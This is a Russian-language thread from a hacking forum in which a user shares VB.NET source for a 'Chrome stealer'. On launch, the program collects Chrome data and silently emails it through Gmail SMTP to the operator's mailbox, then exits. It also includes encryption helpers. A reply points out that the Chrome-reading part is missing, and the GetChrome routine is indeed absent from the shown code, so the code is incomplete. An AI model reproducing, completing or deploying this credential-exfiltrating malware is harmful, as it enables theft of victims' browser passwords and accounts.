1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Стиллер Хрома - код

Тема в разделе "Программирование", создана пользователем VasiaPechkin, 6 янв 2015.

  1. TopicStarter Overlay
    VasiaPechkin

    VasiaPechkin Ананасик

    Регистрация:
    11 июн 2014
    Сообщения:
    206
    Симпатии:
    253
    Пока что залил только сюда и на most-security
    Для вывода использован Richtextbox

    Код:
    Imports System.Security
    Imports System.Security.Cryptography
    Imports System.IO
    Imports System.Runtime.InteropServices
    Imports System.Text.RegularExpressions
    Imports System.Text
    Imports System.Net.Mail
    Public Class Form1
        Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
            RichTextBox1.Clear()
            Try
                GetChrome()
                Dim Smtp_Server As New SmtpClient
                Dim e_mail As New MailMessage()
                Smtp_Server.UseDefaultCredentials = False
                Smtp_Server.Credentials = New Net.NetworkCredential("YourMail", "YourPass")
                Smtp_Server.Port = 587
                Smtp_Server.EnableSsl = True
                Smtp_Server.Host = "smtp.gmail.com"
     
                e_mail = New MailMessage()
                e_mail.From = New MailAddress("YourMail")
                e_mail.To.Add("YourSecondMail")
                e_mail.Subject = "Вам письмо:3"
                e_mail.IsBodyHtml = False
                e_mail.Body = RichTextBox1.Text
                Smtp_Server.Send(e_mail)
                Application.Exit()
            Catch ex As Exception
                MsgBox("ERROR", MsgBoxStyle.Critical, ":(")
            End Try
        End Sub
        Public Function Encrypt(ByVal plainText As String) As String
     
            Dim passPhrase As String = "yourPassPhrase"
            Dim saltValue As String = "mySaltValue"
            Dim hashAlgorithm As String = "SHA1"
     
            Dim passwordIterations As Integer = 2
            Dim initVector As String = "@1B2c3D4e5F6g7H8"
            Dim keySize As Integer = 256
     
            Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
            Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
     
            Dim plainTextBytes As Byte() = Encoding.UTF8.GetBytes(plainText)
     
     
            Dim password As New PasswordDeriveBytes(passPhrase, saltValueBytes, hashAlgorithm, passwordIterations)
     
            Dim keyBytes As Byte() = password.GetBytes(keySize \ 8)
            Dim symmetricKey As New RijndaelManaged()
     
            symmetricKey.Mode = CipherMode.CBC
     
            Dim encryptor As ICryptoTransform = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes)
     
            Dim memoryStream As New MemoryStream()
            Dim cryptoStream As New CryptoStream(memoryStream, encryptor, CryptoStreamMode.Write)
     
            cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length)
            cryptoStream.FlushFinalBlock()
            Dim cipherTextBytes As Byte() = memoryStream.ToArray()
            memoryStream.Close()
            cryptoStream.Close()
            Dim cipherText As String = Convert.ToBase64String(cipherTextBytes)
            Return cipherText
        End Function
     
        Public Function Decrypt(ByVal cipherText As String) As String
            Dim passPhrase As String = "yourPassPhrase"
            Dim saltValue As String = "mySaltValue"
            Dim hashAlgorithm As String = "SHA1"
     
            Dim passwordIterations As Integer = 2
            Dim initVector As String = "@1B2c3D4e5F6g7H8"
            Dim keySize As Integer = 256
            Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
            Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
            Dim cipherTextBytes As Byte() = Convert.FromBase64String(cipherText)
            Dim password As New PasswordDeriveBytes(passPhrase, saltValueBytes, hashAlgorithm, passwordIterations)
            Dim keyBytes As Byte() = password.GetBytes(keySize \ 8)
            Dim symmetricKey As New RijndaelManaged()
            symmetricKey.Mode = CipherMode.CBC
            Dim decryptor As ICryptoTransform = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)
            Dim memoryStream As New MemoryStream(cipherTextBytes)
            Dim cryptoStream As New CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read)
            Dim plainTextBytes As Byte() = New Byte(cipherTextBytes.Length - 1) {}
            Dim decryptedByteCount As Integer = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length)
            memoryStream.Close()
            cryptoStream.Close()
            Dim plainText As String = Encoding.UTF8.GetString(plainTextBytes, 0, decryptedByteCount)
            Return plainText
        End Function
        Public Class Crypto
            Private Shared DES As New TripleDESCryptoServiceProvider
            Private Shared MD5 As New MD5CryptoServiceProvider
            Public Shared Function MD5Hash(ByVal value As String) As Byte()
                Return MD5.ComputeHash(ASCIIEncoding.ASCII.GetBytes(value))
            End Function
            Public Shared Function Encrypto(ByVal stringToEncrypt As String, ByVal key As String) As String
                DES.Key = Crypto.MD5Hash(key)
                DES.Mode = CipherMode.ECB
                Dim Buffer As Byte() = ASCIIEncoding.ASCII.GetBytes(stringToEncrypt)
                Return Convert.ToBase64String(DES.CreateEncryptor().TransformFinalBlock(Buffer, 0, Buffer.Length))
            End Function
            Public Shared Function Decrypto(ByVal encryptedString As String, ByVal key As String) As String
                Try
                    DES.Key = Crypto.MD5Hash(key)
                    DES.Mode = CipherMode.ECB
                    Dim Buffer As Byte() = Convert.FromBase64String(encryptedString)
                    Return ASCIIEncoding.ASCII.GetString(DES.CreateDecryptor().TransformFinalBlock(Buffer, 0, Buffer.Length))
                Catch ex As Exception
                End Try
            End Function
        End Class
    End Class
    Детект:
    Please login or register to view links
     
    • Like Like x 1
    Метки:
  2. K_NoW

    K_NoW HackMe Please

    Регистрация:
    16 мар 2014
    Сообщения:
    464
    Симпатии:
    222
    для вывода паролей хрома нужна sqlite.dll
    в коде скьюлайтом даже не пахнет
     

Поделиться этой страницей

Загрузка...